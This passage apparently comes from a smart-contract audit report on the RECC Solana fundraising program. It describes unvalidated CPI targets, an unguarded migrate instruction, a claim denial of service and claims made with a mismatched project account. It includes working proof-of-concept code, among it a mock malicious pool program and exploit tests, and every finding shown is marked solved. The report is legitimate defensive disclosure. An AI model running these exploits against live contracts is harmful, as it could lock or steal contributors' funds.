userLPMintBalance = getAssociatedTokenAddressSync(lpMintA.publicKey, signer.publicKey)
userLPMintBal = await provider.connection.getTokenAccountBalance(userLPMintBalance);
console.log("User LP-Mint Balance balance AFTER :", userLPMintBal.value.uiAmountString)
});
});
use anchor_lang::prelude::*;
use anchor_spl::{associated_token::AssociatedToken, metadata::Metadata, token::Token, token_2022::Token2022, token_interface::{Mint, TokenAccount, TokenInterface}};
use raydium_amm_v3::{
cpi,
program::AmmV3,
states::{AmmConfig, PersonalPositionState, POOL_SEED, POOL_TICK_ARRAY_BITMAP_SEED, POOL_VAULT_SEED},
};
declare_id!("DbD2VLvM2vjSZ7DEyz93KXG2mggBdQjmjRSm6XPBss5");
#[program]
pub mod malicious_pool_recc {
use super::*;
pub fn open_position_v2<'a, 'b, 'c: 'info, 'info>(
ctx: Context<'a, 'b, 'c, 'info, OpenPositionV2<'info>>,
tick_lower_index: i32,
tick_upper_index: i32,
tick_array_lower_start_index: i32,
tick_array_upper_start_index: i32,
liquidity: u128,
amount_0_max: u64,
amount_1_max: u64,
with_metadata: bool,
base_flag: Option<bool>,
) -> Result<()> {
Ok(())
}
pub fn create_pool(
ctx: Context<CreatePool>,
sqrt_price_x64: u128,
open_time: u64,
) -> Result<()> {
Ok(())
}
pub fn craete_pool_new(
ctx: Context<ProxyInitialize>,
sqrt_price_x64: u128,
open_time: u64,
) -> Result<()> {
let cpi_accounts = cpi::accounts::CreatePool {
pool_creator: ctx.accounts.pool_creator.to_account_info(),
amm_config: ctx.accounts.amm_config.to_account_info(),
pool_state: ctx.accounts.pool_state.to_account_info(),
token_mint_0: ctx.accounts.token_mint_0.to_account_info(),
token_mint_1: ctx.accounts.token_mint_1.to_account_info(),
token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
observation_state: ctx.accounts.observation_state.to_account_info(),
tick_array_bitmap: ctx.accounts.tick_array_bitmap.to_account_info(),
token_program_0: ctx.accounts.token_program_0.to_account_info(),
token_program_1: ctx.accounts.token_program_1.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_context =
CpiContext::new(ctx.accounts.clmm_program.to_account_info(), cpi_accounts);
cpi::create_pool(cpi_context, sqrt_price_x64, open_time)
}
}
#[derive(Accounts)]
pub struct ProxyInitialize<'info> {
/// CHECK: we check this ourselves when building
pub clmm_program: AccountInfo<'info>,
/// CHECK: Address paying to create the pool. Can be anyone
#[account(mut)]
pub pool_creator: Signer<'info>,
/// CHECK: Which config the pool belongs to.
pub amm_config: AccountInfo<'info>,
/// CHECK: Initialize an account to store the pool state
#[account(
mut,
seeds = [
POOL_SEED.as_bytes(),
amm_config.key().as_ref(),
token_mint_0.key().as_ref(),
token_mint_1.key().as_ref(),
],
seeds::program = clmm_program,
bump,
)]
pub pool_state: UncheckedAccount<'info>,
/// Token_0 mint, the key must grater then token_1 mint.
#[account(
constraint = token_mint_0.key() < token_mint_1.key(),
mint::token_program = token_program_0
)]
pub token_mint_0: Box<InterfaceAccount<'info, Mint>>,
/// Token_1 mint
#[account(
mint::token_program = token_program_1
)]
pub token_mint_1: Box<InterfaceAccount<'info, Mint>>,
/// CHECK: Token_0 vault for the pool
#[account(
mut,
seeds =[
POOL_VAULT_SEED.as_bytes(),
pool_state.key().as_ref(),
token_mint_0.key().as_ref(),
],
seeds::program = clmm_program,
bump,
)]
pub token_vault_0: UncheckedAccount<'info>,
/// CHECK: Token_1 vault for the pool
#[account(
mut,
seeds =[
POOL_VAULT_SEED.as_bytes(),
pool_state.key().as_ref(),
token_mint_1.key().as_ref(),
],
seeds::program = clmm_program,
bump,
)]
pub token_vault_1: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store oracle observations, the account must be created off-chain, constract will initialzied it
#[account(mut)]
pub observation_state: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store if a tick array is initialized.
#[account(
mut,
seeds = [
POOL_TICK_ARRAY_BITMAP_SEED.as_bytes(),
pool_state.key().as_ref(),
],
seeds::program = clmm_program,
bump,
)]
pub tick_array_bitmap: UncheckedAccount<'info>,
/// Spl token program or token program 2022
pub token_program_0: Interface<'info, TokenInterface>,
/// Spl token program or token program 2022
pub token_program_1: Interface<'info, TokenInterface>,
/// To create a new program account
pub system_program: Program<'info, System>,
/// Sysvar for program account
pub rent: Sysvar<'info, Rent>,
}
#[derive(Accounts)]
pub struct OpenPositionV2<'info> {
/// CHECK: Ok
#[account(mut)]
pub payer: UncheckedAccount<'info>,
/// CHECK: Receives the position NFT
pub position_nft_owner: UncheckedAccount<'info>,
/// CHECK: Unique token mint address
pub position_nft_mint: UncheckedAccount<'info>,
/// CHECK: Safety check performed inside function body
pub position_nft_account: UncheckedAccount<'info>,
/// CHECK: To store metaplex metadata
pub metadata_account: UncheckedAccount<'info>,
/// CHECK: Add liquidity for this pool
pub pool_state: UncheckedAccount<'info>,
/// CHECK: Deprecated: protocol_position is deprecated and kept for compatibility.
pub protocol_position: UncheckedAccount<'info>,
/// CHECK: Account to store data for the position's lower tick
pub tick_array_lower: UncheckedAccount<'info>,
/// CHECK: Account to store data for the position's upper tick
pub tick_array_upper: UncheckedAccount<'info>,
/// CHECK: personal position state
pub personal_position: UncheckedAccount<'info>,
/// CHECK: The token_0 account deposit token to the pool
pub token_account_0: UncheckedAccount<'info>,
/// CHECK: The token_1 account deposit token to the pool
pub token_account_1: UncheckedAccount<'info>,
/// CHECK: The address that holds pool tokens for token_0
pub token_vault_0: UncheckedAccount<'info>,
/// CHECK: The address that holds pool tokens for token_1
pub token_vault_1: UncheckedAccount<'info>,
/// CHECK: Sysvar for token mint and ATA creation
pub rent: UncheckedAccount<'info>,
/// CHECK: Program to create the position manager state account
pub system_program: UncheckedAccount<'info>,
/// CHECK: Program to create mint account and mint tokens
pub token_program: UncheckedAccount<'info>,
/// CHECK: Program to create an ATA for receiving position NFT
pub associated_token_program: UncheckedAccount<'info>,
/// CHECK: Metadata program address constraint applied
pub metadata_program: UncheckedAccount<'info>,
/// CHECK: Program to create mint account and mint tokens
pub token_program_2022: UncheckedAccount<'info>,
/// CHECK: The mint of token vault 0
pub vault_0_mint: UncheckedAccount<'info>,
/// CHECK: The mint of token vault 1
pub vault_1_mint: UncheckedAccount<'info>,
}
#[derive(Accounts)]
pub struct CreatePool<'info> {
/// CHECK: Address paying to create the pool. Can be anyone
#[account(mut)]
pub pool_creator: Signer<'info>,
/// CHECK: Which config the pool belongs to.
pub amm_config: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store the pool state
pub pool_state: UncheckedAccount<'info>,
/// CHECK: Token_0 mint, the key must be smaller then token_1 mint.
pub token_mint_0: UncheckedAccount<'info>,
/// CHECK: Token_1 mint
#[account(
mint::token_program = token_program_1
)]
pub token_mint_1: UncheckedAccount<'info>,
/// CHECK: Token_0 vault for the pool, initialized in contract
pub token_vault_0: UncheckedAccount<'info>,
/// CHECK: Token_1 vault for the pool, initialized in contract
pub token_vault_1: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store oracle observations
pub observation_state: UncheckedAccount<'info>,
/// CHECK: Initialize an account to store if a tick array is initialized.
pub tick_array_bitmap: UncheckedAccount<'info>,
/// CHECK: Spl token program or token program 2022
pub token_program_0: UncheckedAccount<'info>,
/// CHECK: Spl token program or token program 2022
pub token_program_1: UncheckedAccount<'info>,
/// CHECK: To create a new program account
pub system_program: UncheckedAccount<'info>,
/// CHECK: Sysvar for program account
pub rent: UncheckedAccount<'info>,
}
Result
of running the testcase
It is recommended to validate that clmm_program
passed in migrate instruction matches Raydium clmm_program
.
SOLVED: The RECC team solved the finding by commenting out the migrate instruction.
//
The protocol currently allows the migrate
instruction to be invoked by anyone for any fundraise, without validating whether the target_amount
was actually reached. This can lead to the following unintended scenarios:
Transaction Failure
If the vault balance is less than (target_amount / 10)
, the transfer_checked
CPI fails because the required liquidity amount cannot be transferred. This prevents the creation of the secondary market.
Example: Target = $100,000 → liquidity_amount = $10,000. Vault has only $5,000 raised. Since $5,000 < $10,000, the transfer fails, and the migration aborts.
Pool creation with more funds than expected
If the vault balance is only slightly above (target_amount / 10)
, the instruction still transfers a fixed 10% of the target amount, not the actual balance, which can result in a much larger percentage of raised funds being moved to Raydium than intended.
Example: Target = $100,000 → liquidity_amount
= $10,000. Vault has $20,000 raised (≥ $10,000). The migration transfers $10,000 (50% of contributors’ funds), leaving only $10,000 instead of the intended 90% in the vault.
program/src/instructions/migrate.rs
impl Migrate<'_> {
#[inline(never)]
pub fn validate(&self) -> Result<()> {
// todo() check that we have the 10% in the vault ata
return Ok(());
}
#[access_control(ctx.accounts.validate())]
pub fn migrate(
ctx: Context<Migrate>,
tick_lower_index: i32,
tick_upper_index: i32,
tick_array_lower_start_index: i32,
tick_array_upper_start_index: i32,
liquidity: u64
) -> Result<()> {
// _ create pool
// assuming we want our tokens to be pegged 1:1
let price: f64 = 1.0;
let sqrt_price = price.sqrt(); // = 1.0
let sqrt_price_x64 = (sqrt_price * (2f64).powi(64)).round() as u128;
let create_pool_accounts = CreatePool {
pool_creator: ctx.accounts.payer.to_account_info(),
amm_config: ctx.accounts.amm_config.to_account_info(),
pool_state: ctx.accounts.pool_state.to_account_info(),
token_mint_0: ctx.accounts.token_mint_0.to_account_info(),
token_mint_1: ctx.accounts.token_mint_1.to_account_info(),
token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
observation_state: ctx.accounts.observation_state.to_account_info(),
tick_array_bitmap: ctx.accounts.tick_array_bitmap.to_account_info(),
token_program_0: ctx.accounts.token_program.to_account_info(),
token_program_1: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_context = CpiContext::new(
ctx.accounts.clmm_program.to_account_info(),
create_pool_accounts
);
create_pool(cpi_context, sqrt_price_x64, 0)?;
// todo,
// todo: mint lp and contribution tokens to the token_account_1 and token_account_0
// transfer to the temp token accounts
let liquidity_amount = ctx.accounts.fundraise.target_amount
.checked_div(10)
.ok_or(ReccErrorCode::MathOverflow)?;
let cpi_program = ctx.accounts.token_program.to_account_info();
// doing this to check which one is the contribution mint and lp mint
let contribution_mint_key = ctx.accounts.vault_ata.mint;
let is_contribution_mint_0 =
contribution_mint_key == ctx.accounts.token_mint_0.key();
let (contribution_mint, lp_mint) = if is_contribution_mint_0 {
(ctx.accounts.token_mint_0.clone(), ctx.accounts.token_mint_1.clone())
} else {
(ctx.accounts.token_mint_1.clone(), ctx.accounts.token_mint_0.clone())
};
//
let (contribution_mint_ta, lp_mint_ta) = if is_contribution_mint_0 {
(
ctx.accounts.token_account_0.clone(),
ctx.accounts.token_account_1.clone(),
)
} else {
(
ctx.accounts.token_account_1.clone(),
ctx.accounts.token_account_0.clone(),
)
};
// if it's the contribution mint we want to transfer it
let lp_mint_key = lp_mint.key();
let fundraise_bump = &[ctx.accounts.fundraise.bump];
let signer_seeds = &[
&[Fundraise::SEED.as_bytes(), lp_mint_key.as_ref(), fundraise_bump][..],
];
let cpi_accounts = TransferChecked {
from: ctx.accounts.vault_ata.to_account_info(),
mint: contribution_mint.to_account_info(),
to: contribution_mint_ta.to_account_info(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let transfer_cpi_context = CpiContext::new_with_signer(
cpi_program.clone(),
cpi_accounts,
signer_seeds
);
token_interface::transfer_checked(
transfer_cpi_context,
liquidity_amount,
contribution_mint.decimals
)?;
// // if it's the lp mint we want to mint it
let mint_to_cpi_accounts = MintTo {
mint: lp_mint.to_account_info().clone(),
to: lp_mint_ta.to_account_info().clone(),
authority: ctx.accounts.fundraise.to_account_info(),
};
let mint_to_cpi_context = CpiContext::new_with_signer(
cpi_program,
mint_to_cpi_accounts,
signer_seeds
);
token_interface::mint_to(mint_to_cpi_context, liquidity_amount)?;
// -------
// _ open position
// _ because we allow anyone to call this position, the position nft authority
// _ is the fundraise PDA.
// _ con - create another ix to manage it e.g transfer/burn
let open_position_accounts = OpenPositionV2 {
payer: ctx.accounts.payer.to_account_info(),
position_nft_owner: ctx.accounts.fundraise.to_account_info(),
position_nft_mint: ctx.accounts.position_nft_mint.to_account_info(),
position_nft_account: ctx.accounts.position_nft_account.to_account_info(),
metadata_account: ctx.accounts.metadata_account.to_account_info(),
pool_state: ctx.accounts.pool_state.to_account_info(),
protocol_position: ctx.accounts.protocol_position.to_account_info(),
tick_array_lower: ctx.accounts.tick_array_lower.to_account_info(),
tick_array_upper: ctx.accounts.tick_array_upper.to_account_info(),
personal_position: ctx.accounts.personal_position.to_account_info(),
token_account_0: ctx.accounts.token_account_0.to_account_info(),
token_account_1: ctx.accounts.token_account_1.to_account_info(),
token_vault_0: ctx.accounts.token_vault_0.to_account_info(),
token_vault_1: ctx.accounts.token_vault_1.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
associated_token_program: ctx.accounts.associated_token_program.to_account_info(),
metadata_program: ctx.accounts.metadata_program.to_account_info(),
token_program_2022: ctx.accounts.token_program_2022.to_account_info(),
vault_0_mint: ctx.accounts.token_mint_0.to_account_info(),
vault_1_mint: ctx.accounts.token_mint_1.to_account_info(),
};
let cpi_context = CpiContext::new(
ctx.accounts.clmm_program.to_account_info(),
open_position_accounts
);
open_position_v2(
cpi_context,
tick_lower_index,
tick_upper_index,
tick_array_lower_start_index,
tick_array_upper_start_index,
liquidity as u128,
liquidity_amount, // amount_0_max,
liquidity_amount, // amount_1_max,
true,
Some(true) // ! should this be true
)?;
Ok(())
}
}
It is recommended to only transfer 10% of the raised when the target_amount
is reached.
SOLVED: The RECC team solved the finding by commenting out the migrate instruction.
//
In the claim
instruction, the program validates that the vault token account balance is greater than or equal to the entire expected project payout amount (target_amount + yield
) before allowing any claim. This check is evaluated against the live vault balance for every claim. Once the first user claims, the vault balance drops below the full expected payout amount, causing all subsequent claims to fail with VaultNotCredited
. As a result, contributors who do not claim first are permanently blocked from retrieving their funds.
pub fn validate(&self) -> Result<()> {
if !self.project.is_complete()? {
return err!(ReccErrorCode::ProjectIncomplete);
}
let is_vault_credited = is_vault_ata_credited(
self.vault_ata.amount,
self.fundraise.target_amount,
self.project.estimated_yield_bps
)?;
if !is_vault_credited {
return err!(ReccErrorCode::VaultNotCredited);
}
return Ok(());
}
pub fn is_vault_ata_credited(
vault_ata_bal: u64,
fundraise_amt: u64,
estimated_yield_bps: u16
) -> Result<bool> {
let fundraise_amt_u128 = fundraise_amt as u128;
let expected_balance = fundraise_amt_u128
.checked_mul(10000 + (estimated_yield_bps as u128))
.ok_or(ProgramError::ArithmeticOverflow)?
.checked_div(10000)
.ok_or(ProgramError::ArithmeticOverflow)?;
let expected_balance_u64 = u64
::try_from(expected_balance)
.map_err(|_| ProgramError::ArithmeticOverflow)?;
Ok(vault_ata_bal >= expected_balance_u64)
}
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
createMint,
getAssociatedTokenAddressSync,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
tokenMetadataUpdateFieldWithRentTransfer,
transfer,
} from "@solana/spl-token";
import {
Keypair,
LAMPORTS_PER_SOL,
PublicKey,
Signer,
SystemProgram,
} from "@solana/web3.js";
import { expect } from "chai";
anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey(
"metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);
const wait = (ms: number) => new Promise((r) => setTimeout(r, ms));
const uiToBn = (
bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);
async function airdrop(pubkey: PublicKey, sol = 100) {
await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
await wait(1_000);
}
async function createFundraise({
lpMint,
usdcMint,
target,
bps,
fundraiseEnd,
projectEnd,
}: {
lpMint: Signer;
usdcMint: PublicKey;
target: number;
bps: number;
fundraiseEnd: number;
projectEnd: number;
}) {
const [fundraise] = PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
program.programId
);
const [project] = PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMint.publicKey.toBuffer()],
program.programId
);
const vaultAta = getAssociatedTokenAddressSync(
usdcMint,
fundraise,
true,
TOKEN_PROGRAM_ID
);
const now = (await provider.connection.getBlockTime(
await provider.connection.getSlot()
))!;
const DAY10 = 86400 * 10;
const [metadataPda, _] = await PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
lpMint.publicKey.toBuffer(),
],
METADATA_PROGRAM_ID
);
await program.methods
.createFundraise(
{
targetAmount: new anchor.BN(target),
fundraiseStart: new anchor.BN(now),
fundraiseEnd: new anchor.BN(now + fundraiseEnd),
projectEnd: new anchor.BN(now + projectEnd),
estimatedYieldBps: bps,
presaleMerkleRoot: Array(32).fill(0),
},
{ name: "LP", symbol: "LP", uri: "https://example.com" }
)
.accounts({
authority: signer.publicKey,
lpMint: lpMint.publicKey,
contributionMint: usdcMint,
lpTokenMetadataAccount: metadataPda,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, lpMint])
.rpc();
return { fundraise, project, vaultAta };
}
describe("Claim DOS", () => {
let usdcMint: PublicKey;
let lpMintA;
let fundraiseA: PublicKey, projectA: PublicKey, vaultA;
let userLpAtaA: PublicKey;
let userUsdcAta: PublicKey;
let users = []
let users_usdc_atas = []
let users_lp_atas = []
before("set up two raises and user LP-A", async () => {
await airdrop(signer.publicKey);
usdcMint = await createMint(
provider.connection,
signer,
signer.publicKey,
null,
6
);
// Project with 25% bps and $100,000 raise
lpMintA = Keypair.generate();
({
fundraise: fundraiseA,
project: projectA,
vaultAta: vaultA,
} = await createFundraise({
lpMint: lpMintA,
usdcMint,
target: 125_000 * 1e6,
bps: 2_500,
fundraiseEnd: 20,
projectEnd: 20,
}));
for (let i=0;i < 5; i++) {
users[i] = Keypair.generate()
await airdrop(users[i].publicKey, 10 * LAMPORTS_PER_SOL);
await wait(1000);
users_usdc_atas[i] = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
users[i].publicKey
);
let contribute_amount = 25_000 * 1e6
await mintTo(
provider.connection,
signer,
usdcMint,
users_usdc_atas[i].address,
signer,
contribute_amount
);
users_lp_atas[i] = await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
lpMintA.publicKey,
users[i].publicKey
);
await program.methods
.contribute(new anchor.BN(contribute_amount), null)
.accounts({
authority: users[i].publicKey,
fundraise: fundraiseA,
project: projectA,
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
authorityContributionAta: users_usdc_atas[i].address,
authorityLpAta: users_lp_atas[i].address,
vaultAta: vaultA,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([users[i]])
.rpc();
}
let vaultABalance = await provider.connection.getTokenAccountBalance(vaultA);
console.log("VaultA balance after contributions: ", vaultABalance.value.uiAmount)
// Simulate Repayment:: Principal + Yield, $125,000 + 31,250 = $156,250
// BUG: Only passes if vault.balance is always greater than yield + principal
const additonal_yield = (31_250 ) * 1e6;
await mintTo(
provider.connection,
signer,
usdcMint,
vaultA,
signer.publicKey,
additonal_yield
);
vaultABalance = await provider.connection.getTokenAccountBalance(vaultA);
console.log("VaultA balance after Repayment: ", vaultABalance.value.uiAmount)
});
it("Claim DOS", async () => {
let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");
await getOrCreateAssociatedTokenAccount(
provider.connection,
signer,
usdcMint,
protocolVault,
true
)
await wait(5000);
for (let i = 0; i < users.length; i++) {
await program.methods
.claim()
.accounts({
authority: users[i].publicKey,
fundraise: fundraiseA,
project: projectA,
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
authorityLpAta: users_lp_atas[i].address,
authorityContributionAta: users_usdc_atas[i].address,
vaultAta: vaultA,
protocolVault,
systemProgram: SystemProgram.programId,
tokenProgram: TOKEN_PROGRAM_ID,
associatedTokenProgram: anchor.utils.token.ASSOCIATED_PROGRAM_ID,
})
.signers([users[i]])
.rpc();
let userUSDCBalance = await provider.connection.getTokenAccountBalance(users_usdc_atas[i].address);
console.log(`Index[${i}] :: User usdc balance after claim::`, userUSDCBalance.value.uiAmount)
let userLPBalance = await provider.connection.getTokenAccountBalance(users_lp_atas[i].address);
console.log(`Index[${i}] :: User lp balance after claim::`, userLPBalance.value.uiAmount)
let vaultABalance = await provider.connection.getTokenAccountBalance(vaultA);
console.log("VaultA balance after Claim: ", vaultABalance.value.uiAmount)
}
})
});
It is recommended to introduce a new instruction that tops up the vault and sets a new isCredited = true
flag, then update the claim instruction to allow claims only when isCredited
is true, removing the current balance check i.e is_vault_ata_credited()
.
SOLVED: The RECC team resolved the finding by only checking if the balance in the vault is greater than zero.
//
The claim
instruction allows contributors to redeem their principal and yield once the project is completed and the vault is funded. It uses fields such as estimated_yield_bps
and is_complete()
from the project
account for validation and reward calculation.
However, the instruction does not validate that the provided project
is actually associated with the fundraise
. This allows users to supply any unrelated project
account, which introduces multiple inconsistencies:
A malicious actor with a large LP balance could strategically exit early by providing a completed project from another fundraise, withdrawing his locked funds.
A contributor may supply a project with a different estimated_yield_bps
, resulting in an incorrect claim amount potentially less than what they’re owed.
program/src/instructions/claim.rs
#[derive(Accounts)]
pub struct Claim<'info> {
#[account(mut)]
pub authority: Signer<'info>,
#[account(mut)]
pub fundraise: Account<'info, Fundraise>,
#[account(mut)]
pub project: Account<'info, Project>,
#[account(
mut,
associated_token::mint = lp_mint,
associated_token::authority = authority,
)]
pub authority_lp_ata: InterfaceAccount<'info, TokenAccount>,
#[account(
mut,
associated_token::mint = contribution_mint,
associated_token::authority = authority,
)]
pub authority_contribution_ata: InterfaceAccount<'info, TokenAccount>,
#[account(
mut,
associated_token::mint = contribution_mint,
associated_token::authority = fundraise,
)]
pub vault_ata: InterfaceAccount<'info, TokenAccount>,
// mint of the lp tokens
#[account(mut)]
pub lp_mint: InterfaceAccount<'info, Mint>,
// mint of the token that will be used for contributing
#[account(mut)]
pub contribution_mint: InterfaceAccount<'info, Mint>,
/// CHECK: we check the address
#[account(mut, address = pubkey!(PROTOCOL_VAULT_ADDRESS))]
pub protocol_vault: UncheckedAccount<'info>,
#[account(
init_if_needed,
payer = authority,
associated_token::mint = contribution_mint,
associated_token::authority = protocol_vault,
associated_token::token_program = token_program
)]
pub protocol_vault_ata: InterfaceAccount<'info, TokenAccount>,
pub system_program: Program<'info, System>,
pub token_program: Interface<'info, TokenInterface>,
pub associated_token_program: Program<'info, AssociatedToken>,
} // you can claim your yield plus initial investment
impl Claim<'_> {
pub fn validate(&self) -> Result<()> {
if !self.project.is_complete()? {
return err!(ReccErrorCode::ProjectIncomplete);
}
let is_vault_credited = is_vault_ata_credited(
self.vault_ata.amount,
self.fundraise.target_amount,
self.project.estimated_yield_bps
)?;
if !is_vault_credited {
return err!(ReccErrorCode::VaultNotCredited);
}
return Ok(());
}
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
createMint,
getAssociatedTokenAddressSync,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import {
Keypair,
LAMPORTS_PER_SOL,
PublicKey,
Signer,
SystemProgram,
} from "@solana/web3.js";
import { expect } from "chai";
anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey("metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s");
const wait = (ms: number) => new Promise(r => setTimeout(r, ms));
const uiToBn = (
bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
) => new anchor.BN(bal.value.amount);
async function airdrop(pubkey: PublicKey, sol = 100) {
await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
await wait(1_000);
}
async function createFundraise(
{ lpMint, usdcMint, target, bps, fundraiseEnd, projectEnd }: {
lpMint: Signer; usdcMint: PublicKey; target: number; bps: number;
fundraiseEnd: number; projectEnd: number
}) {
const [fundraise] = PublicKey.findProgramAddressSync(
[Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
program.programId,
);
const [project] = PublicKey.findProgramAddressSync(
[Buffer.from("project"), lpMint.publicKey.toBuffer()],
program.programId,
);
const vaultAta = getAssociatedTokenAddressSync(
usdcMint, fundraise, true, TOKEN_PROGRAM_ID,
);
const now = (await provider.connection.getBlockTime(
await provider.connection.getSlot()))!;
const DAY10 = 86400 * 10;
const [metadataPda, _] = await PublicKey.findProgramAddressSync(
[
Buffer.from("metadata"),
METADATA_PROGRAM_ID.toBuffer(),
lpMint.publicKey.toBuffer(),
],
METADATA_PROGRAM_ID
);
await program.methods
.createFundraise(
{
targetAmount: new anchor.BN(target),
fundraiseStart: new anchor.BN(now),
fundraiseEnd: new anchor.BN(now + fundraiseEnd),
projectEnd: new anchor.BN(now + projectEnd),
estimatedYieldBps: bps,
presaleMerkleRoot: Array(32).fill(0),
},
{ name: "LP", symbol: "LP", uri: "https://example.com" },
)
.accounts({
authority: signer.publicKey,
lpMint: lpMint.publicKey,
contributionMint: usdcMint,
lpTokenMetadataAccount: metadataPda,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer, lpMint])
.rpc();
return { fundraise, project, vaultAta };
}
describe("claim-hijack via wrong Project", () => {
let usdcMint: PublicKey;
let lpMintA;
let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;
let lpMintB;
let projectB: PublicKey;
let lpMintC;
let projectC: PublicKey;
let userLpAtaA: PublicKey;
let userUsdcAta: PublicKey;
before("set up two raises and user LP-A", async () => {
await airdrop(signer.publicKey);
usdcMint = await createMint(
provider.connection, signer, signer.publicKey, null, 6,
);
lpMintA = Keypair.generate();
({ fundraise: fundraiseA, project: projectA, vaultAta: vaultA } =
await createFundraise({ lpMint: lpMintA, usdcMint, target: 100_000*1e6, bps: 2_500, fundraiseEnd: 3, projectEnd: 7 }));
lpMintB = Keypair.generate();
({ project: projectB } =
await createFundraise({ lpMint: lpMintB, usdcMint, target: 100_000*1e6, bps: 1_700, fundraiseEnd: 3, projectEnd: 7 }));
lpMintC = Keypair.generate();
({ project: projectC } =
await createFundraise({ lpMint: lpMintC, usdcMint, target: 0, bps: 0, fundraiseEnd: 0, projectEnd: 0 }));
userUsdcAta = (await getOrCreateAssociatedTokenAccount(
provider.connection, signer, usdcMint, signer.publicKey,
)).address;
await mintTo(
provider.connection, signer, usdcMint, userUsdcAta,
signer.publicKey, 10_000 * 1e6,
);
userLpAtaA = (await getOrCreateAssociatedTokenAccount(
provider.connection, signer, lpMintA.publicKey , signer.publicKey,
)).address;
await program.methods
.contribute(new anchor.BN(10_000 * 1e6), null)
.accounts({
authority: signer.publicKey,
fundraise: fundraiseA,
project: projectA,
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
authorityContributionAta: userUsdcAta,
authorityLpAta: userLpAtaA,
vaultAta: vaultA,
tokenProgram: TOKEN_PROGRAM_ID,
})
.signers([signer])
.rpc();
await mintTo(
provider.connection, signer, usdcMint, vaultA,
signer.publicKey, 90_000 * 1e6,
);
});
it("user claims LP.A with lower yield Project B", async () => {
await wait(5000);
const preBal = uiToBn(
await provider.connection.getTokenAccountBalance(userUsdcAta),
);
let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");
await program.methods
.claim()
.accounts({
authority: signer.publicKey,
fundraise: fundraiseA, // correct
project: projectB, // lower bps
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
authorityLpAta: userLpAtaA,
authorityContributionAta: userUsdcAta,
vaultAta: vaultA,
protocolVault,
systemProgram: SystemProgram.programId,
tokenProgram: TOKEN_PROGRAM_ID,
associatedTokenProgram: anchor.utils.token.ASSOCIATED_PROGRAM_ID,
})
.signers([signer])
.rpc();
const postBal = uiToBn(
await provider.connection.getTokenAccountBalance(userUsdcAta),
);
console.log("gained", gained);
});
it("user claims original amount unintentioanlly", async () => {
await wait(3000);
let userPreBal = uiToBn(
await provider.connection.getTokenAccountBalance(userUsdcAta),
);
let vaultPreBal = uiToBn(
await provider.connection.getTokenAccountBalance(vaultA),
);
console.log("Before::userPreBal", Number(userPreBal)/1e6)
console.log("Before::vaultPreBal", Number(vaultPreBal)/1e6)
let protocolVault = new PublicKey("5KgfWjGePnbFgDAuCqxB5oymuFxQskvCtrw6eYfDa7fj");
await program.methods
.claim()
.accounts({
authority: signer.publicKey,
fundraise: fundraiseA, // correct
project: projectC, // malicious project
lpMint: lpMintA.publicKey,
contributionMint: usdcMint,
authorityLpAta: userLpAtaA,
authorityContributionAta: userUsdcAta,
vaultAta: vaultA,
protocolVault,
systemProgram: SystemProgram.programId,
tokenProgram: TOKEN_PROGRAM_ID,
associatedTokenProgram: anchor.utils.token.ASSOCIATED_PROGRAM_ID,
})
.signers([signer])
.rpc();
userPreBal = uiToBn(
await provider.connection.getTokenAccountBalance(userUsdcAta),
);
vaultPreBal = uiToBn(
await provider.connection.getTokenAccountBalance(vaultA),
);
console.log("After::userPreBal", Number(userPreBal)/1e6)
